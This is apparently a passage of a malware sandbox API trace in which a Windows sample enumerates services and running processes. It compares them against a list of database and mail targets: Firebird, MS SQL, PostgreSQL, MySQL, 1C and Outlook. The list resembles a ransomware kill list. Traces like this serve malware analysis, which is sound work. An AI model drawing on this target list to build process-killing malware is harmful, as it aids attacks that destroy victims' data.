lpString2="ProfSvc") returned 1 [0062.316] lstrlenW (lpString="RpcEptMapper") returned 12 [0062.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.316] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0062.316] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0062.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0062.316] lstrlenW (lpString="RpcSs") returned 5 [0062.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0062.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0062.316] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0062.316] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0062.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0062.317] lstrlenW (lpString="SamSs") returned 5 [0062.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0062.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0062.317] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0062.317] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0062.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0062.317] lstrlenW (lpString="Schedule") returned 8 [0062.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0062.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0062.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0062.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0062.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0062.317] lstrlenW (lpString="SENS") returned 4 [0062.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0062.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0062.317] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0062.317] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0062.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0062.317] lstrlenW (lpString="ShellHWDetection") returned 16 [0062.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.317] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0062.317] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0062.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0062.317] lstrlenW (lpString="Spooler") returned 7 [0062.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0062.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0062.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0062.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0062.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0062.317] lstrlenW (lpString="swprv") returned 5 [0062.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0062.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0062.318] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0062.318] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0062.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0062.318] lstrlenW (lpString="SysMain") returned 7 [0062.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0062.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0062.318] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0062.318] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0062.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0062.318] lstrlenW (lpString="Themes") returned 6 [0062.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0062.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0062.318] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0062.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0062.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0062.318] lstrlenW (lpString="TrkWks") returned 6 [0062.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0062.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0062.318] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0062.318] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0062.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0062.318] lstrlenW (lpString="UxSms") returned 5 [0062.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0062.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0062.318] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0062.318] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0062.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0062.318] lstrlenW (lpString="VSS") returned 3 [0062.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0062.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0062.318] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0062.318] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0062.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0062.319] lstrlenW (lpString="WdiServiceHost") returned 14 [0062.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.319] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0062.319] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0062.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0062.319] lstrlenW (lpString="WdiSystemHost") returned 13 [0062.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.319] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0062.319] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0062.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0062.319] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0062.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.319] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0062.319] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0062.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0062.319] lstrlenW (lpString="Winmgmt") returned 7 [0062.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0062.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0062.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0062.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0062.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0062.319] lstrlenW (lpString="WPDBusEnum") returned 10 [0062.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.319] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0062.319] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0062.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0062.319] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a2fd0 | out: hHeap=0x4b0000) returned 1 [0062.320] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0062.322] Process32FirstW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.323] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.323] lstrlenW (lpString="System") returned 6 [0062.323] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0062.323] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0062.323] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0062.323] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0062.324] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0062.324] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0062.324] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0062.324] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.324] lstrlenW (lpString="smss.exe") returned 8 [0062.324] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0062.324] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0062.324] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0062.324] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0062.325] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0062.325] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0062.325] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0062.325] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.325] lstrlenW (lpString="csrss.exe") returned 9 [0062.325] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0062.325] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0062.325] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0062.325] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0062.325] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0062.325] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0062.325] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0062.325] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.326] lstrlenW (lpString="wininit.exe") returned 11 [0062.326] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0062.326] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0062.326] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0062.326] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.327] lstrlenW (lpString="csrss.exe") returned 9 [0062.327] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.328] lstrlenW (lpString="winlogon.exe") returned 12 [0062.328] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.328] lstrlenW (lpString="services.exe") returned 12 [0062.329] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.329] lstrlenW (lpString="lsass.exe") returned 9 [0062.329] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.330] lstrlenW (lpString="lsm.exe") returned 7 [0062.330] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.331] lstrlenW (lpString="svchost.exe") returned 11 [0062.331] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.331] lstrlenW (lpString="svchost.exe") returned 11 [0062.331] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.332] lstrlenW (lpString="svchost.exe") returned 11 [0062.332] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.333] lstrlenW (lpString="svchost.exe") returned 11 [0062.333] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.333] lstrlenW (lpString="svchost.exe") returned 11 [0062.333] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.334] lstrlenW (lpString="audiodg.exe") returned 11 [0062.334] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.335] lstrlenW (lpString="svchost.exe") returned 11 [0062.335] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.335] lstrlenW (lpString="svchost.exe") returned 11 [0062.335] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.336] lstrlenW (lpString="dwm.exe") returned 7 [0062.336] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.337] lstrlenW (lpString="explorer.exe") returned 12 [0062.337] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.337] lstrlenW (lpString="spoolsv.exe") returned 11 [0062.338] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.338] lstrlenW (lpString="taskhost.exe") returned 12 [0062.338] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.339] lstrlenW (lpString="svchost.exe") returned 11 [0062.339] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.339] lstrlenW (lpString="taskeng.exe") returned 11 [0062.340] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.340] lstrlenW (lpString="taskhost.exe") returned 12 [0062.340] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0062.341] lstrlenW (lpString="chem venues.exe") returned 15 [0062.341] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0062.342] lstrlenW (lpString="month.exe") returned 9 [0062.342] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0062.342] lstrlenW (lpString="glasgow.exe") returned 11 [0062.342] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0062.343] lstrlenW (lpString="rubber.exe") returned 10 [0062.343] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0062.453] lstrlenW (lpString="petroleum.exe") returned 13 [0062.453] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0062.454] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0062.454] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0062.454] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0062.454] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0062.455] lstrlenW (lpString="batman_oliver.exe") returned 17 [0062.455] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0062.456] lstrlenW (lpString="formation.exe") returned 13 [0062.456] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0062.457] lstrlenW (lpString="whole.exe") returned 9 [0062.457] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0062.457] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0062.457] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0062.458] lstrlenW (lpString="disorder.exe") returned 12 [0062.458] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0062.459] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0062.459] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0062.459] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0062.459] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0062.460] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0062.460] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0062.461] lstrlenW (lpString="perspective.exe") returned 15 [0062.461] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0062.462] lstrlenW (lpString="demand-site.exe") returned 15 [0062.462] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0062.462] lstrlenW (lpString="attachment.exe") returned 14 [0062.462] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, 